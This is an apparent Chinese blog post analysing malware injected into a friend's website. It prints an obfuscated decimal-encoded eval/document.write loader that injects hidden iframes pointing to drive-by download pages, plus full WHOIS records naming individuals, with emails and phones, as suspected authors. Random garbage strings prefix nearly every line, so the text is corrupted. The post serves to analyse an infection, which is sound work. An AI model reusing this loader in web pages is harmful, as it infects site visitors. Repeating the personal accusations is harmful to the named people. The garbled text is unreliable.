首发在我的博客里面，
xIGq+yd( H].|K/-p http://www.areway.cn/?p=175 1Ng+mT >\d&LLAe oT-gZedW( 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
BB6[(Z ^ O18 \a <script>t=’60,105,102,114,97,109,101,
I.n,TJoz4J 32,115,114,99,61,104,116,116,112,58,47,47,
xvV"; o 102,114,101,101,46,117,45,117,117,117,46,99,
BM<q;;pO 110,47,101,114,114,111,114,46,104,116,109,
SXk.7bMV6 32,119,105,100,116,104,61,49,48,48,32,104,
#RBrii-, 101,105,103,104,116,61,48,62,60,47,105,102,
}T@=I&g; 114,97,109,101,62′;
~ Q&J\'GQH t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
HU'Mi8xxy M76p=* <script>t=’60,105,102,114,97,109,101,32,115,
K6kz{R%` 114,99,61,104,116,116,112,58,47,47,102,114,
inWLIXC,
101,101,46,117,45,117,117,117,46,99,110,47,
,X.[37 101,114,114,111,114,46,104,116,109,32,119,
/K#k_k 105,100,116,104,61,49,48,48,32,104,101,105,
I8Aq8XBw 103,104,116,61,48,62,60,47,105,102,114,97,
m\56B P-AM 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
C^L+R 7 document.write(t);</script>
~[HzGm% CRK%^3g <html xmlns=”
<rBW6o7 http://www.w3.org/1999/xhtml XOvJlaY)'. “>
'XK 'T\m <head>
g & s .
0+ <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
N1$u@P{ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
4yyw:" <title>首页 - 爱生活家庭网
JT?u[p Q^ d=D-s 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
k,:W]KD 转换字符串后的大概内容是（谁点击后果自付）：
=Kd'(ct <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
tm+*ik=x| pey=zR! 查询玉米u-uuu.cn的详细信息：
h}
`v0E Domain Name: u-uuu.cn
l =E86"m ROID: 20070901s10001s64972306-cn
A7% d Domain Status: ok
;7'O=% Registrant Organization: 王雷
$Zu? Gd? Registrant Name: 王雷
+V4)>< Administrative Email:
czlovexs@126.com gJQ#j~' Sponsoring Registrar: 北京万网志成科技有限公司
:W.H#@'( Name Server:ns.yovole.com
rYb5#aT[ Name Server:ns1.yovole.com
|J-X3` ^\H Registration Date: 2007-09-01 17:54
WC#6(H5t$ Expiration Date: 2008-09-01 17:54
V& *IZt& 最后PING了一下地址 都没有什么….
,8e'<y .PB!1C.}@ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
dua F?\vv <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
rfqwxr45h <script language=”javascript” src=”
Pk;\^DRC http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script `D4Wg<,9 >
-c_l
n K 这个玉米应该有可能是木马作者的：
AY /9Io- foafau.info的详细信息：
.KrLvic Access to INFO WHOIS information is provided to assist persons in
?2]fE[SqY determining the contents of a domain name registration record in the
@7Ec(]yp Afilias registry database. The data in this record is provided by
t7f(%/] H0 Afilias Limited for informational purposes only, and Afilias does not
> Vm}u`x guarantee its accuracy. This service is intended only for query-based
T#ls2UL*xh access. You agree that you will use this data only for lawful purposes
X q? >a+B and that, under no circumstances will you use this data to: (a) allow,
B!wN%> U enable, or otherwise support the transmission by e-mail, telephone, or
i!a!qE. 1 facsimile of mass unsolicited, commercial advertising or solicitations
#Zdh<. to entities other than the data recipient’s own existing customers; or
5i[O\@]5 (b) enable high volume, automated, electronic processes that send
&W45.2 queries or data to the systems of Registry Operator, a Registrar, or
r8EJ@pOF2w Afilias except as reasonably necessary to register domain names or
@Tu`0 =8 modify existing registrations. All rights reserved. Afilias reserves
1CC0]pyHX the right to modify these terms at any time. By submitting this query,
?(9*@ you agree to abide by this policy.
=t,oj6P~ Domain ID:D22418703-LRMS
|/Vq{gxp+ Domain Name:FOAFAU.INFO
eKiDc=@ Created On:20-Nov-2007 16:05:42 UTC
3~`P8 9 Last Updated On:20-Nov-2007 16:05:44 UTC
.RroO_H
Expiration Date:20-Nov-2008 16:05:42 UTC
7h\is Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
"Hw%@]# Status:CLIENT DELETE PROHIBITED
Y2L{oQ.C2 Status:CLIENT RENEW PROHIBITED
N foHQU <n Status:CLIENT TRANSFER PROHIBITED
MSCH6 R"5 Status:CLIENT UPDATE PROHIBITED
\l/(L5gY Status:TRANSFER PROHIBITED
jwI2T$ Registrant ID:GODA-040110615
Q`k;E}x_- Registrant Name:liu hong
&{Z+p(3Gj Registrant Organization:
y4kn2Mw; Registrant Street1:beijing
9C7Npf?~M Registrant Street2:
\l!+l Registrant Street3:
= F \Xt " Registrant City:beijing
Vh0cac|X Registrant State/Province:
-5*OSA:8x Registrant Postal Code:100000
_
s 3aaOL Registrant Country:CN
lV'?X% Registrant Phone:+86.860108888777
1K/HVj+'. Registrant Phone Ext.:
?8O5%IrJ Registrant FAX:
g:!U,<C^a Registrant FAX Ext.:
(-S^L'v62v Registrant Email:bbbshiji@163.com
<-1:o*8:} Admin ID:GODA-240110615
ja9u?UbW Admin Name:liu hong
]!TE Admin Organization:
bPTtA;u Admin Street1:beijing
}1 O"?6 Admin Street2:
_g Mr ]%Q Admin Street3:
S<T 'B0r8 Admin City:beijing
KH2]:&6:Q Admin State/Province:
6w%n$tiX Admin Postal Code:100000
z ?DCQ Admin Country:CN
a j4ZS Admin Phone:+86.860108888777
Xm,fyk> Admin Phone Ext.:
/4 +L2O[ Admin FAX:
.s\lfBo9 Admin FAX Ext.:
2*s T U Admin Email:bbbshiji@163.com
'-"[>`[q Billing ID:GODA-340110615
Z` kVyuQ Billing Name:liu hong
2sGKn
a Billing Organization:
NnAIL;WS Billing Street1:beijing
E:qh}wY Billing Street2:
kI"9T`owR Billing Street3:
]a IHd]B Billing City:beijing
nReIi;pi Billing State/Province:
JL
{H3r&/S Billing Postal Code:100000
{+lU 4u Billing Country:CN
|OLXb+ 7X Billing Phone:+86.860108888777
r`- 8+"P Billing Phone Ext.:
fgqCX:SWz Billing FAX:
}k.yLcXM Billing FAX Ext.:
6"_pCkn;c< Billing Email:bbbshiji@163.com
reR @@O Tech ID:GODA-140110615
@v`.^L{P Tech Name:liu hong
>)D=PvGlmp Tech Organization:
Ys.GBSlHG Tech Street1:beijing
\dQc!)&C9 Tech Street2:
Yz;7g8HI Tech Street3:
3D6&0xTq Tech City:beijing
53hX%{3 Tech State/Province:
&B5&:ib1D Tech Postal Code:100000
Z,p@toj' Tech Country:CN
d%I7OBBx@ Tech Phone:+86.860108888777
o~'p&f Tech Phone Ext.:
qUfoEpW2=6 Tech FAX:
GLIY !BU<C Tech FAX Ext.:
"$N$:B @U Tech Email:bbbshiji@163.com
jOCV)V9} Name Server:NS27.DOMAINCONTROL.COM
- "zW"v)\ Name Server:NS28.DOMAINCONTROL.COM
3rK\
f4' Name Server:
8GBKFNR 8 Name Server:
j=pg5T Name Server:
v2tVq_\AMx Name Server:
8d$|JN;) Name Server:
t<dFH}U`w Name Server:
XZN@hXc9:v Name Server:
:2KPvp 7? Name Server:
i+(>w'=m Name Server:
1BmKwux: Name Server:
f:46.)W j< Name Server:
p9jC-&: (Q*x"G#4> 接着下载每个文件里面的代码：
V0D&b N* 一步一步看..
8Vz!zYl 
@_t=0Rc 
FI: H/e5[ 
4"|3 pMr 
T}{zh 
y_>DszRN`u 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
